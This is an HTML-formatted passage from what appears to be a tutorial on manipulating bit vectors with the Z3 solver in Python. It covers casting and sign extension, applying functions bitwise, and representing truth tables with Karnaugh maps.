&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;z3&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;BitVecVal&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Concat&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Extract&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;simplify&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;cast&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bv&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;type&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nb"&gt;type&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;i&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;u&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="ne"&gt;ValueError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Not supported cast type &amp;#39;&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nb"&gt;type&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;#39;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;signed&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;type&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;i&amp;#39;&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;new_sz&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;type&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;:])&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;sz&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;bv&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;sz&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;new_sz&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;signed&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;             &lt;span class="n"&gt;sign_bit&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Extract&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sz&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sz&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;bv&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;             &lt;span class="n"&gt;high&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Concat&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;sign_bit&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;new_sz&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;sz&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;             &lt;span class="c1"&gt;# zero extended&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;             &lt;span class="n"&gt;high&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;BitVecVal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;new_sz&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;sz&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;Concat&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;high&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;bv&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="c1"&gt;# downcast&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;Extract&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;new_sz&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;bv&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Casting to a larger bit vector may be done zero-extended (for unsigned) or sign-extended (for signed):&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;i4&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;BitVecVal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mb"&gt;0b1011&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;i4&lt;/span&gt;
&lt;span class="mi"&gt;11&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;simplify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cast&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;u8&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="mi"&gt;11&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;simplify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cast&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;i8&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="mi"&gt;251&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;bin&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;251&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="s1"&gt;&amp;#39;0b11111011&amp;#39;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;When the target size is smaller, it is a down-cast and the higher bits are lost:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;simplify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cast&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;u2&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="mi"&gt;3&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;simplify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cast&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;i2&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="mi"&gt;3&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Not other casting are implemented:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;simplify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cast&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;foo&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="o"&gt;&amp;lt;...&amp;gt;&lt;/span&gt;
&lt;span class="ne"&gt;ValueError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Not&lt;/span&gt; &lt;span class="n"&gt;supported&lt;/span&gt; &lt;span class="n"&gt;cast&lt;/span&gt; &lt;span class="nb"&gt;type&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;foo&amp;#39;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="broadcasting"&gt;Broadcasting&lt;/h2&gt;
&lt;p&gt;For the signed upper-cast, the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;cast&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; function does a &lt;em&gt;broadcasting&lt;/em&gt;: it takes the most significant bit, the sign bit, and extends it to fulfill the wider bit vector.&lt;/p&gt;
&lt;p&gt;The sign bit is repeated N times – it is &lt;em&gt;broadcasted&lt;/em&gt;:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;...&lt;/span&gt;    &lt;span class="n"&gt;sign_bit&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Extract&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sz&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sz&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;bv&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;    &lt;span class="n"&gt;high&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Concat&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;sign_bit&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;new_sz&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;sz&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="bitwise-operation"&gt;Bitwise operation&lt;/h2&gt;
&lt;p&gt;Another handy algorithm consists in applying a function bit by bit:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;bitwise&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fun&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;bvs&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;bvs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="ne"&gt;ValueError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;No bit vector was provided&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;sz&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;bvs&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nb"&gt;any&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bv&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="n"&gt;sz&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;bv&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;bvs&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="ne"&gt;TypeError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Bit vector size mismatch, not all are &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;sz&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; bits.&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;index&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sz&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# from MSB to LSB&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;applied&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;fun&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Extract&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;bv&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;bv&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;bvs&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;index&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;Concat&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;applied&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;bitwise&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; can operate over &lt;em&gt;symbolic functions&lt;/em&gt;:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;z3&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Function&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;BitVecSort&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;BSort&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;BitVecSort&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;zor&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Function&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;zor&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;BSort&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;BSort&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;BSort&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;simplify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bitwise&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;zor&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;BitVecVal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mb"&gt;0b1011&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;BitVecVal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mb"&gt;0b0010&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;
&lt;span class="n"&gt;Concat&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;zor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;zor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;zor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;zor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;But it can operate over &lt;em&gt;concrete (Python) functions&lt;/em&gt;.&lt;/p&gt;
&lt;h2 id="concrete-function-definition"&gt;Concrete function definition&lt;/h2&gt;
&lt;p&gt;If the function is known, we will have to add a constrain per input/output pair to &lt;em&gt;constrain&lt;/em&gt; the symbolic function.&lt;/p&gt;
&lt;p&gt;Something like:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;...&lt;/span&gt; &lt;span class="n"&gt;solver&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;add&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;zor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;zor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;zor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;zor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt; &lt;span class="p"&gt;])&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;But that requires an exponential amount of constrains, \(2^{arity}\) to be precise.&lt;/p&gt;
&lt;p&gt;A more compact representation would be a &lt;em&gt;lookup table (LUT)&lt;/em&gt; or &lt;em&gt;truth table&lt;/em&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;zor LUT:
    0 0 -&amp;gt; 1
    1 0 -&amp;gt; 1
    0 1 -&amp;gt; 0
    1 1 -&amp;gt; 1&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;From there we can build a &lt;em&gt;product of sums&lt;/em&gt; or a &lt;em&gt;sums of products&lt;/em&gt; using a &lt;a href="https://en.wikipedia.org/wiki/Karnaugh_map"&gt;Karnaugh map&lt;/a&gt;: a graphical representation of the truth table from where we can derive a &lt;strong&gt;single&lt;/strong&gt; boolean expression made of a minimum amount of &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Or&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;And&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; instructions that represents it.&lt;/p&gt;
&lt;p&gt;Karnaugh maps relays in humans’ ability to detect patterns but the maps gets too complicated for 5 and more inputs so they are not practical for large functions.&lt;/p&gt;
&lt;p&gt;&lt;label for='Ckhvd2V2ZXIsIHRoaXMgcHJvYmxlbSBpcyBOUC1jb21wbGV0ZSBpbiBnZW5lcmFsLgogbWFyZ2lubm90ZXM=' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
